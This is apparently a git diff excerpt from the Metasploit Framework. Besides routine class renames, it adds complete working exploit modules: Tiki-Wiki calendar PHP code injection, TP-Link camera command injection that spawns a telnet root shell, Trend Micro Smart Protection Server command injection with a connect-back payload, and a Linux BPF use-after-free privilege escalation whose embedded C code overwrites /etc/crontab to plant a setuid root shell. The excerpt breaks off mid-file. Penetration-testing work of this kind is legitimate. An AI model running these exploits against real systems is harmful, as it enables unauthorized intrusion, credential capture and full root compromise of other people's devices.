'DisablePayloadHandler' => false, 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], diff --git a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb index dab96c8f57..06c63e82c8 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/symantec_web_gateway_restore.rb b/modules/exploits/linux/http/symantec_web_gateway_restore.rb index 46fe21a41f..fcac6a43c6 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_restore.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_restore.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -47,7 +47,6 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, - 'SSLVersion' => 'TLS1' }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, diff --git a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb index 6a331e2b35..b14df13f6d 100644 --- a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb +++ b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/tiki_calendar_exec.rb b/modules/exploits/linux/http/tiki_calendar_exec.rb new file mode 100644 index 0000000000..e7570281b3 --- /dev/null +++ b/modules/exploits/linux/http/tiki_calendar_exec.rb @@ -0,0 +1,156 @@ +## +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Tiki-Wiki CMS Calendar Command Execution', + 'Description' => %q( + Tiki-Wiki CMS's calendar module contains a remote code execution + vulnerability within the viewmode GET parameter. + The calendar module is NOT enabled by default. If enabled, + the default permissions are set to NOT allow anonymous users + to access. + + Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14 + Verified/Tested against 14.1 + ), + 'Author' => + [ + 'h00die ', # module + 'Dany Ouellet' # discovery + ], + 'References' => + [ + [ 'EDB', '39965' ], + [ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki'] + ], + 'License' => MSF_LICENSE, + 'Platform' => %w( php ), + 'Privileged' => false, + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 06 2016' + ) + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']), + OptString.new('USERNAME', [ true, 'Username of a user with calendar access', 'admin']), + OptString.new('PASSWORD', [ true, 'Password of a user with calendar access', 'admin']) + ], self.class + ) + end + + # returns cookie regardless of outcome + def authenticate + begin + # get a cookie to start with + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'), + 'method' => 'GET' + ) + + if res && res.code == 404 + fail_with(Failure::Unknown, 'Target does not have tiki-login_scr.php') + end + + cookie = res ? res.get_cookies : '' + # if we have creds, login with them + vprint_status('Attempting Login') + # the bang on the cgi will follow the redirect we receive on a good login + res = send_request_cgi!( + 'uri' => normalize_uri(target_uri.path, 'tiki-login.php'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'cookie' => cookie, + 'vars_post' => + { + 'user' => datastore['USERNAME'], + 'pass' => datastore['PASSWORD'], + 'login' => '', + 'stay_in_ssl_mode_present' => 'y', + 'stay_in_ssl_mode' => 'n' + } + ) + # double check auth worked and we got a Log out on the page. + # at times I got it to auth, but then it would give permission errors + # so we want to try to double check everything is good + if res && res.body !~ /Log out/ + fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + end + vprint_good("Login Successful!") + return cookie + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + # sends the calendar packet, returns the HTTP response + def send_calendar_packet(cookie, data) + begin + return send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'), + 'method' => 'GET', + 'cookie' => cookie, + 'vars_get' => + { + 'viewmode' => "';#{data};$a='" + } + ) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + # Version numbers are post auth, so we send a print statement w/ + # 10 random characters and check for it in the response + def check + if datastore['USERNAME'] && !datastore['USERNAME'].blank? + cookie = authenticate + end + + flag = Rex::Text.rand_text_alpha(10) + res = send_calendar_packet(cookie, "print(#{flag})") + + if res + if res.body =~ /You do not have permission to view the calendar/i + fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required") + elsif res.body =~ />#{flag} 'TP-Link SC2020n Authenticated Telnet Injection', + 'Description' => %q{ + The TP-Link SC2020n Network Video Camera is vulnerable + to OS Command Injection via the web interface. By firing up the telnet daemon, + it is possible to gain root on the device. The vulnerability + exists at /cgi-bin/admin/servetest, which is accessible with credentials. + }, + 'Author' => + [ + 'Nicholas Starke ' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Dec 20 2015', + 'Privileged' => true, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('HttpUsername', [ true, 'User to login with', 'admin']), + OptString.new('HttpPassword', [ true, 'Password to login with', 'admin']) + ], self.class) + + register_advanced_options( + [ + OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]), + OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) + ], self.class) + end + + def telnet_timeout + (datastore['TelnetTimeout'] || 10).to_i + end + + def banner_timeout + (datastore['TelnetBannerTimeout'] || 25).to_i + end + + def exploit + print_status('Exploiting') + user = datastore['HttpUsername'] + pass = datastore['HttpPassword'] + test_login(user, pass) + exploit_telnet + end + + + def test_login(user, pass) + print_status("Trying to login with #{user} : #{pass}") + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'authorization' => basic_auth(user, pass) + }) + + if res.nil? + fail_with(Failure::Unknown, "Could not connect to web service - no response") + end + + if (res.code != 200) + fail_with(Failure::Unknown, "Could not connect to web service - invalid credentials (response code: #{res.code}") + else + print_good("Successful login #{user} : #{pass}") + save_cred(user, pass) + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unknown, "Could not connect to the web service") + end + end + + def exploit_telnet + telnet_port = rand(32767) + 32768 + + print_status("Telnet Port: #{telnet_port}") + + cmd = "telnetd -p #{telnet_port} -l/bin/sh" + + telnet_request(cmd) + + print_status("Trying to establish telnet connection...") + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout }) + + begin + if sock.nil? + fail_with(Failure::Unreachable, "Backdoor service unreachable") + end + + add_socket(sock) + + print_status("Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + + if prompt.nil? + sock.close + fail_with(Failure::Unknown, "Unable to establish a telnet session") + else + print_good("Telnet session successfully established") + end + + handler(sock) + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + sock.close if sock + fail_with(Failure::Unknown, e.message) + end + end + + def telnet_request(cmd) + + uri = '/cgi-bin/admin/servetest' + + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET', + 'vars_get' => { + 'cmd' => 'ftp', + 'ServerName' => 'test', + 'userName' => 'test', + 'Password' => 'test', + 'Passive' => 'off', + 'SourceName' => "/var/ftptest;#{cmd};#", + 'TargetName' => 'testfile' + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "Could not connect to the web service") + end + end + + def negotiate_telnet(sock) + begin + Timeout.timeout(banner_timeout) do + while(true) + data = sock.get_once(-1, telnet_timeout) + return nil if not data or data.length == 0 + if data =~ /#/ + return true + end + end + end + rescue ::Timeout::Error + return nil + end + end + + def save_cred(username, password) + service_data = { + address: rhost, + port: rport, + service_name: 'telnet', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + username: username, + private_data: password, + private_type: :password + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + end +end diff --git a/modules/exploits/linux/http/trendmicro_sps_exec.rb b/modules/exploits/linux/http/trendmicro_sps_exec.rb new file mode 100644 index 0000000000..d8c7797eee --- /dev/null +++ b/modules/exploits/linux/http/trendmicro_sps_exec.rb @@ -0,0 +1,208 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' +require 'base64' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Trend Micro Smart Protection Server Exec Remote Code Injection", + 'Description' => %q{ + This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection. + Please note: authentication is required to exploit this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ' + ], + 'References' => + [ + ['CVE-ID', 'CVE-2016-6267'] + ], + 'Platform' => 'linux', + 'Targets' => [ [ 'Linux', {} ] ], + 'Payload' => { 'BadChars' => "\x00" }, + 'CmdStagerFlavor' => [ 'bourne' ], + 'Privileged' => false, + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DisclosureDate' => "Aug 8 2016", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('SSL', [ true, 'Use SSL', true ]), + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]), + OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]), + OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']), + OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']), + ], self.class) + end + + + def check + opts = login + if opts + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"), + 'headers'=> + { + 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + } + }) + if res and res.code == 200 + version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*]*>([^<]*)[^<]*]*>]*>([^<]*) 'POST', + 'version' => '1.0', + 'timeout' => 1, + 'uri' => normalize_uri(uri, 'php/admin_notification.php'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers'=> + { + 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + }, + 'vars_post' => { + 'EnableSNMP' => 'on', + 'Community' => 'hello', + 'submit' => 'Save', + 'pubkey' => '', + 'spare_EnableSNMP' => 1, + 'spare_Community' => "test;#{cmd}", + 'spare_EnableIPRestriction' => 0, + 'spare_AllowGroupIP' => '', + 'spare_AllowGroupNetmask' => '', + 'sid' => opts["sid"] + } + }) + end + + def login + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + }) + if res and res.code == 200 and !res.get_cookies.empty? + sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip + sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first + n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first + nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first + asn1_sequence = OpenSSL::ASN1::Sequence.new( + [ + OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)), + OpenSSL::ASN1::Integer.new("0x10001".to_i(16)) + ] + ) + public_key = OpenSSL::PKey::RSA.new(asn1_sequence) + creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}" + data = Base64.encode64(public_key.public_encrypt(creds)) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "auth.php"), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers'=> + { + 'Cookie' => "#{sid}=#{sid_value}", + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + }, + 'vars_post' => { + 'data' => data, + 'sid' => sid + } + }) + if res and res.code == 302 + if res.headers.key?('Set-Cookie') + sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first + sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first + end + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: (ssl ? "https" : "http"), + user: datastore['ADMINACCOUNT'], + password: datastore['ADMINPASS'], + proof: "#{sid}=#{sid_value}" + ) + return {"sid" => sid, "sid_value" => sid_value} + end + end + nil + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def exploit + opts = login + if opts + print_status("Successfully logged in.") + print_status("Exploiting...") + execute_cmdstager(opts=opts) + else + print_error("An error occured while loggin in.") + end + end +end diff --git a/modules/exploits/linux/http/vap2500_tools_command_exec.rb b/modules/exploits/linux/http/vap2500_tools_command_exec.rb index 0d9432b712..24e3053e41 100644 --- a/modules/exploits/linux/http/vap2500_tools_command_exec.rb +++ b/modules/exploits/linux/http/vap2500_tools_command_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index f645a359fc..01a99e80ec 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb index 3411f73fc1..e75ce9a283 100644 --- a/modules/exploits/linux/http/wanem_exec.rb +++ b/modules/exploits/linux/http/wanem_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb index af414339ba..0ca6edf548 100644 --- a/modules/exploits/linux/http/webcalendar_settings_exec.rb +++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/webid_converter.rb b/modules/exploits/linux/http/webid_converter.rb index aaa3c51f36..1d7bbbe1a9 100644 --- a/modules/exploits/linux/http/webid_converter.rb +++ b/modules/exploits/linux/http/webid_converter.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb index 782c427555..ac08535943 100644 --- a/modules/exploits/linux/http/zabbix_sqli.rb +++ b/modules/exploits/linux/http/zabbix_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index 1097a5e7bf..68e6fb3558 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(444), OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('USERNAME', [true, 'The username for the application', 'admin']), - OptString.new('PASSWORD', [true, 'The password for the application', 'admin']) + OptString.new('HttpUsername', [true, 'The username for the application', 'admin']), + OptString.new('HttpPassword', [true, 'The password for the application', 'admin']) ], self.class) end @@ -86,8 +86,8 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] + user = datastore['HttpUsername'] + pass = datastore['HttpPassword'] cmd = Rex::Text.uri_encode(";#{payload.encoded}&") lines = rand(100) + 1 diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index 3a728421f4..e92284d97c 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb b/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb index 834763a5ad..02b241e7f3 100644 --- a/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb +++ b/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/ids/snortbopre.rb b/modules/exploits/linux/ids/snortbopre.rb index 33c4fe64af..219b4303e0 100644 --- a/modules/exploits/linux/ids/snortbopre.rb +++ b/modules/exploits/linux/ids/snortbopre.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/linux/imap/imap_uw_lsub.rb b/modules/exploits/linux/imap/imap_uw_lsub.rb index a8eb39a855..e540d03efe 100644 --- a/modules/exploits/linux/imap/imap_uw_lsub.rb +++ b/modules/exploits/linux/imap/imap_uw_lsub.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Brute diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb new file mode 100644 index 0000000000..b0829d609c --- /dev/null +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -0,0 +1,501 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Exploit::FileDropper + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Linux BPF Local Privilege Escalation', + 'Description' => %q{ + Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled + sysctl is not set to 1, BPF can be abused to priv escalate. + Ubuntu 16.04 has all of these conditions met. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'jannh@google.com', # discovery + 'h00die ' # metasploit module + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'References' => + [ + [ 'CVE', '2016-4557' ], + [ 'EDB', '39772' ], + [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ], + [ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ] + ], + 'Targets' => + [ + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], + [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'DefaultOptions' => + { + 'payload' => 'linux/x64/mettle/reverse_tcp', + 'PrependFork' => true, + 'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through + }, + 'DefaultTarget' => 1, + 'DisclosureDate' => 'May 04 2016', + 'Privileged' => true + } + )) + register_options([ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), + OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ]) + ], self.class) + end + + def check + def check_config_bpf_syscall?() + output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`') + if output == 'CONFIG_BPF_SYSCALL=y' + vprint_good('CONFIG_BPF_SYSCALL is set to yes') + return true + else + print_error('CONFIG_BPF_SYSCALL is NOT set to yes') + return false + end + end + + def check_kernel_disabled?() + output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled') + if output != 'kernel.unprivileged_bpf_disabled = 1' + vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1') + return true + else + print_error('kernel.unprivileged_bpf_disabled is set to 1') + return false + end + end + + def check_fuse?() + lib = cmd_exec('dpkg --get-selections | grep ^fuse') + if lib.include?('install') + vprint_good('fuse is installed') + return true + else + print_error('fuse is not installed. Exploitation will fail.') + return false + end + end + + def mount_point_exists?() + if directory?('/tmp/fuse_mount') + print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.') + return false + else + vprint_good('/tmp/fuse_mount doesn\'t exist') + return true + end + end + + if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?() + CheckCode::Appears + else + CheckCode::Safe + end + end + + def exploit + + def upload_and_compile(filename, file_path, file_content, compile=nil) + rm_f "#{file_path}" + if not compile.nil? + rm_f "#{file_path}.c" + vprint_status("Writing #{filename} to #{file_path}.c") + write_file("#{file_path}.c", file_content) + register_file_for_cleanup("#{file_path}.c") + output = cmd_exec(compile) + if output != '' + print_error(output) + fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") + end + else + vprint_status("Writing #{filename} to #{file_path}") + write_file(file_path, file_content) + end + cmd_exec("chmod +x #{file_path}"); + register_file_for_cleanup(file_path) + end + + doubleput = %q{ + #define _GNU_SOURCE + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #ifndef __NR_bpf + # if defined(__i386__) + # define __NR_bpf 357 + # elif defined(__x86_64__) + # define __NR_bpf 321 + # elif defined(__aarch64__) + # define __NR_bpf 280 + # else + # error + # endif + #endif + + int uaf_fd; + + int task_b(void *p) { + /* step 2: start writev with slow IOV, raising the refcount to 2 */ + char *cwd = get_current_dir_name(); + char data[2048]; + sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd); + struct iovec iov = { .iov_base = data, .iov_len = strlen(data) }; + if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount")) + errx(1, "system() failed"); + int fuse_fd = open("fuse_mount/hello", O_RDWR); + if (fuse_fd == -1) + err(1, "unable to open FUSE fd"); + if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov)) + errx(1, "unable to write to FUSE fd"); + struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0); + if (iov_ == MAP_FAILED) + err(1, "unable to mmap FUSE fd"); + fputs("starting writev\n", stderr); + ssize_t writev_res = writev(uaf_fd, iov_, 1); + /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */ + if (writev_res == -1) + err(1, "writev failed"); + if (writev_res != strlen(data)) + errx(1, "writev returned %d", (int)writev_res); + fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr); + while (1) sleep(1); /* whatever, just don't crash */ + } + + void make_setuid(void) { + /* step 1: open writable UAF fd */ + uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC); + if (uaf_fd == -1) + err(1, "unable to open UAF fd"); + /* refcount is now 1 */ + + char child_stack[20000]; + int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL); + if (child == -1) + err(1, "clone"); + sleep(3); + /* refcount is now 2 */ + + /* step 2+3: use BPF to remove two references */ + for (int i=0; i<2; i++) { + struct bpf_insn insns[2] = { + { + .code = BPF_LD | BPF_IMM | BPF_DW, + .src_reg = BPF_PSEUDO_MAP_FD, + .imm = uaf_fd + }, + { + } + }; + union bpf_attr attr = { + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, + .insn_cnt = 2, + .insns = (__aligned_u64) insns, + .license = (__aligned_u64)"" + }; + if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1) + errx(1, "expected BPF_PROG_LOAD to fail, but it didn't"); + if (errno != EINVAL) + err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error"); + } + /* refcount is now 0, the file is freed soon-ish */ + + /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */ + int status; + int hostnamefds[1000]; + int used_fds = 0; + bool up = true; + while (1) { + if (waitpid(child, &status, WNOHANG) == child) + errx(1, "child quit before we got a good file*"); + if (up) { + hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY); + if (hostnamefds[used_fds] == -1) + err(1, "open target file"); + if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break; + used_fds++; + if (used_fds == 1000) up = false; + } else { + close(hostnamefds[--used_fds]); + if (used_fds == 0) up = true; + } + } + fputs("woohoo, got pointer reuse\n", stderr); + while (1) sleep(1); /* whatever, just don't crash */ + } + + int main(void) { + pid_t child = fork(); + if (child == -1) + err(1, "fork"); + if (child == 0) + make_setuid(); + struct stat helperstat; + while (1) { + if (stat("suidhelper", &helperstat)) + err(1, "stat suidhelper"); + if (helperstat.st_mode & S_ISUID) + break; + sleep(1); + } + fputs("suid file detected, launching rootshell...\n", stderr); + execl("./suidhelper", "suidhelper", NULL); + err(1, "execl suidhelper"); + } + } + + suid_helper = %q{ + #include + #include + #include + #include + + int main(void) { + if (setuid(0) || setgid(0)) + err(1, "setuid/setgid"); + fputs("we have root privs now...\n", stderr); + execl("/bin/bash", "bash", NULL); + err(1, "execl"); + } + + } + + hello = %q{ + /* + FUSE: Filesystem in Userspace + Copyright (C) 2001-2007 Miklos Szeredi + heavily modified by Jann Horn + + This program can be distributed under the terms of the GNU GPL. + See the file COPYING. + + gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello + */ + + #define FUSE_USE_VERSION 26 + + #include + #include + #include + #include + #include + #include + #include + #include + + static const char *hello_path = "/hello"; + + static char data_state[sizeof(struct iovec)]; + + static int hello_getattr(const char *path, struct stat *stbuf) + { + int res = 0; + memset(stbuf, 0, sizeof(struct stat)); + if (strcmp(path, "/") == 0) { + stbuf->st_mode = S_IFDIR | 0755; + stbuf->st_nlink = 2; + } else if (strcmp(path, hello_path) == 0) { + stbuf->st_mode = S_IFREG | 0666; + 